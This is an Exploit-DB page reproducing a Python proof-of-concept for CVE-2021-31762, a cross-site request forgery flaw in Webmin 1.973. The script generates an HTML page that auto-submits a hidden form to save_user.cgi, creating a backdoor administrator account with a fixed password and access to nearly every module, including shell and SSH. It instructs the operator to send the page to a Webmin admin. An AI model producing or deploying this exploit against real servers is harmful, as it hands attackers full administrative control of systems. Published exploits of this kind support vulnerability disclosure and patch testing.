Webmin 1.973 – ‘save_user.cgi’ Cross-Site Request Forgery (CSRF)

Exploit Database
119 阅读

作者： Mesh3l_911

日期： 2021-07-14
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/50126/

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# Exploit Title: Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF)

# Date: 24/04/2021

# Exploit Author: *Mesh3l_911 & Z0ldyck

# Vendor Homepage: https://www.webmin.com

# Repo Link: https://github.com/Mesh3l911/CVE-2021-31762

# Version: Webmin 1.973

# Tested on: All versions <= 1.973

# CVE : CVE-2021-31762

# POC: https://youtu.be/qCvEXwyaF5U

import time, subprocess

print('''\033[1;37m

____ _ _______________ __

|\/| | | |___ \| ||___/ _ \| | | || |

| \/ | ______| |__ __) | | / / | | | | __| |_ ____| | __

| |\/| |/ _ \/ __| '_ \ |__ <| |/ /| | | | |/ _` | | | |/ __| |/ /

| || |__/\__ \ | | |___) | |_ _/ /_| |_| | | (_| | |_| | (__| <

|_||_|\___||___/_| |_|____/|_| (_|_)/_____\___/|_|\__,_|\__, |\___|_|\_/

__/ |

|___/

\033[1;m''')

for i in range(101):

print(

"\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m )& \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(

i), "\033[1;36m%\033[1;m", end="")

time.sleep(0.02)

print("\n\n")

target = input(

"\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")

if target.endswith('/'):

target = target + 'acl/save_user.cgi'

else:

target = target + '/acl/save_user.cgi'

def CSRF_Generator():

with open('CSRF_POC.html', 'w') as POC:

POC.write \

('''

<html>

<head>

<meta name="referrer" content="never">

</head>

<body>

<script>history.pushState('', '', '/')</script>

<form action="'''+target+'''" method="POST">

<input type="hidden" name="safe" value="" />

<input type="hidden" name="name" value="Mesh3l_Z0ldyck" />

<input type="hidden" name="pass_def" value="0" />

<input type="hidden" name="pass" value="Mesh3l_Z0ldyck123" />

<input type="hidden" name="real" value="Mesh3l_Z0ldyck" />

<input type="hidden" name="cert_def" value="1" />

<input type="hidden" name="lang_def" value="1" />

<input type="hidden" name="lang" value="af" />

<input type="hidden" name="notabs" value="0" />

<input type="hidden" name="theme_def" value="1" />

<input type="hidden" name="theme" value="" />

<input type="hidden" name="overlay_def" value="1" />

<input type="hidden" name="overlay" value="overlay-theme" />

<input type="hidden" name="logouttime_def" value="1" />

<input type="hidden" name="minsize_def" value="1" />

<input type="hidden" name="ipmode" value="0" />

<input type="hidden" name="ips" value="" />

<input type="hidden" name="days_def" value="1" />

<input type="hidden" name="hours_def" value="1" />

<input type="hidden" name="hours_hfrom" value="" />

<input type="hidden" name="hours_mfrom" value="" />

<input type="hidden" name="hours_hto" value="" />

<input type="hidden" name="hours_mto" value="" />

<input type="hidden" name="mod" value="backup-config" />

<input type="hidden" name="mod" value="change-user" />

<input type="hidden" name="mod" value="webmincron" />

<input type="hidden" name="mod" value="usermin" />

<input type="hidden" name="mod" value="webminlog" />

<input type="hidden" name="mod" value="webmin" />

<input type="hidden" name="mod" value="help" />

<input type="hidden" name="mod" value="servers" />

<input type="hidden" name="mod" value="acl" />

<input type="hidden" name="mod" value="bacula-backup" />

<input type="hidden" name="mod" value="init" />

<input type="hidden" name="mod" value="passwd" />

<input type="hidden" name="mod" value="quota" />

<input type="hidden" name="mod" value="mount" />

<input type="hidden" name="mod" value="fsdump" />

<input type="hidden" name="mod" value="ldap-client" />

<input type="hidden" name="mod" value="ldap-useradmin" />

<input type="hidden" name="mod" value="logrotate" />

<input type="hidden" name="mod" value="mailcap" />

<input type="hidden" name="mod" value="mon" />

<input type="hidden" name="mod" value="pam" />

<input type="hidden" name="mod" value="certmgr" />

<input type="hidden" name="mod" value="proc" />

<input type="hidden" name="mod" value="at" />

<input type="hidden" name="mod" value="cron" />

<input type="hidden" name="mod" value="sentry" />

<input type="hidden" name="mod" value="man" />

<input type="hidden" name="mod" value="syslog" />

<input type="hidden" name="mod" value="syslog-ng" />

<input type="hidden" name="mod" value="system-status" />

<input type="hidden" name="mod" value="useradmin" />

<input type="hidden" name="mod" value="apache" />

<input type="hidden" name="mod" value="bind8" />

<input type="hidden" name="mod" value="pserver" />

<input type="hidden" name="mod" value="dhcpd" />

<input type="hidden" name="mod" value="dhcp-dns" />

<input type="hidden" name="mod" value="dovecot" />

<input type="hidden" name="mod" value="exim" />

<input type="hidden" name="mod" value="fetchmail" />

<input type="hidden" name="mod" value="foobar" />

<input type="hidden" name="mod" value="frox" />

<input type="hidden" name="mod" value="jabber" />

<input type="hidden" name="mod" value="ldap-server" />

<input type="hidden" name="mod" value="majordomo" />

<input type="hidden" name="mod" value="htpasswd-file" />

<input type="hidden" name="mod" value="minecraft" />

<input type="hidden" name="mod" value="mysql" />

<input type="hidden" name="mod" value="openslp" />

<input type="hidden" name="mod" value="postfix" />

<input type="hidden" name="mod" value="postgresql" />

<input type="hidden" name="mod" value="proftpd" />

<input type="hidden" name="mod" value="procmail" />

<input type="hidden" name="mod" value="qmailadmin" />

<input type="hidden" name="mod" value="mailboxes" />

<input type="hidden" name="mod" value="sshd" />

<input type="hidden" name="mod" value="samba" />

<input type="hidden" name="mod" value="sendmail" />

<input type="hidden" name="mod" value="spam" />

<input type="hidden" name="mod" value="squid" />

<input type="hidden" name="mod" value="sarg" />

<input type="hidden" name="mod" value="wuftpd" />

<input type="hidden" name="mod" value="webalizer" />

<input type="hidden" name="mod" value="link" />

<input type="hidden" name="mod" value="adsl-client" />

<input type="hidden" name="mod" value="bandwidth" />

<input type="hidden" name="mod" value="fail2ban" />

<input type="hidden" name="mod" value="firewalld" />

<input type="hidden" name="mod" value="ipsec" />

<input type="hidden" name="mod" value="krb5" />

<input type="hidden" name="mod" value="firewall" />

<input type="hidden" name="mod" value="firewall6" />

<input type="hidden" name="mod" value="exports" />

<input type="hidden" name="mod" value="exports-nfs4" />

<input type="hidden" name="mod" value="xinetd" />

<input type="hidden" name="mod" value="inetd" />

<input type="hidden" name="mod" value="pap" />

<input type="hidden" name="mod" value="ppp-client" />

<input type="hidden" name="mod" value="pptp-client" />

<input type="hidden" name="mod" value="pptp-server" />

<input type="hidden" name="mod" value="stunnel" />

<input type="hidden" name="mod" value="shorewall" />

<input type="hidden" name="mod" value="shorewall6" />

<input type="hidden" name="mod" value="itsecur-firewall" />

<input type="hidden" name="mod" value="tcpwrappers" />

<input type="hidden" name="mod" value="idmapd" />

<input type="hidden" name="mod" value="filter" />

<input type="hidden" name="mod" value="burner" />

<input type="hidden" name="mod" value="grub" />

<input type="hidden" name="mod" value="lilo" />

<input type="hidden" name="mod" value="raid" />

<input type="hidden" name="mod" value="lvm" />

<input type="hidden" name="mod" value="fdisk" />

<input type="hidden" name="mod" value="lpadmin" />

<input type="hidden" name="mod" value="smart-status" />

<input type="hidden" name="mod" value="time" />

<input type="hidden" name="mod" value="vgetty" />

<input type="hidden" name="mod" value="iscsi-client" />

<input type="hidden" name="mod" value="iscsi-server" />

<input type="hidden" name="mod" value="iscsi-tgtd" />

<input type="hidden" name="mod" value="iscsi-target" />

<input type="hidden" name="mod" value="cluster-passwd" />

<input type="hidden" name="mod" value="cluster-copy" />

<input type="hidden" name="mod" value="cluster-cron" />

<input type="hidden" name="mod" value="cluster-shell" />

<input type="hidden" name="mod" value="cluster-shutdown" />

<input type="hidden" name="mod" value="cluster-usermin" />

<input type="hidden" name="mod" value="cluster-useradmin" />

<input type="hidden" name="mod" value="cluster-webmin" />

<input type="hidden" name="mod" value="cfengine" />

<input type="hidden" name="mod" value="heartbeat" />

<input type="hidden" name="mod" value="shell" />

<input type="hidden" name="mod" value="custom" />

<input type="hidden" name="mod" value="disk-usage" />

<input type="hidden" name="mod" value="export-test" />

<input type="hidden" name="mod" value="ftelnet" />

<input type="hidden" name="mod" value="filemin" />

<input type="hidden" name="mod" value="flashterm" />

<input type="hidden" name="mod" value="tunnel" />

<input type="hidden" name="mod" value="file" />

<input type="hidden" name="mod" value="phpini" />

<input type="hidden" name="mod" value="cpan" />

<input type="hidden" name="mod" value="htaccess-htpasswd" />

<input type="hidden" name="mod" value="telnet" />

<input type="hidden" name="mod" value="ssh" />

<input type="hidden" name="mod" value="ssh2" />

<input type="hidden" name="mod" value="shellinabox" />

<input type="hidden" name="mod" value="status" />

<input type="hidden" name="mod" value="ajaxterm" />

<input type="hidden" name="mod" value="updown" />

<input type="hidden" name="mod" value="vnc" />

<input type="submit" value="Submit request" />

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

''')

POC.close()

print(

"\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m")

def main():

CSRF_Generator()

if __name__ == '__main__':

main()